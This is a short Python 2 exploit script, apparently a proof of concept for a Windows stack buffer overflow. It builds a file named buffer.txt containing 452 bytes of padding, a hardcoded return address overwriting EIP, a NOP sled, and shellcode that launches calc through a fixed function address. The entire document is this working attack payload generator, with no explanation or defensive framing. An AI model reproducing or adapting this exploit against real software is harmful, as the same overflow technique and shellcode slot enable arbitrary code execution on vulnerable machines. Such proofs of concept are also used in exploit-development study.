filename = "buffer.txt"
junk = "A" * 452
eip = "\x77\xB2\xFA\x77"
nops = "\x90" * 100
buf = ( "\x31\xC9"
"\x51"
"\x68\x63\x61\x6C\x63"
"\x54"
"\xB8\xC7\x93\xC2\x77"
"\xFF\xD0" )
exploit = junk + eip + nops + buf
length = len (exploit)
print "[+]File name: [%s]\n" % filename
print "[+]Payload Size: [%s]\n " % length
print "[+]File Created.\n"
file = open (filename, "w" )
file .write(exploit)
file .close
print exploit
|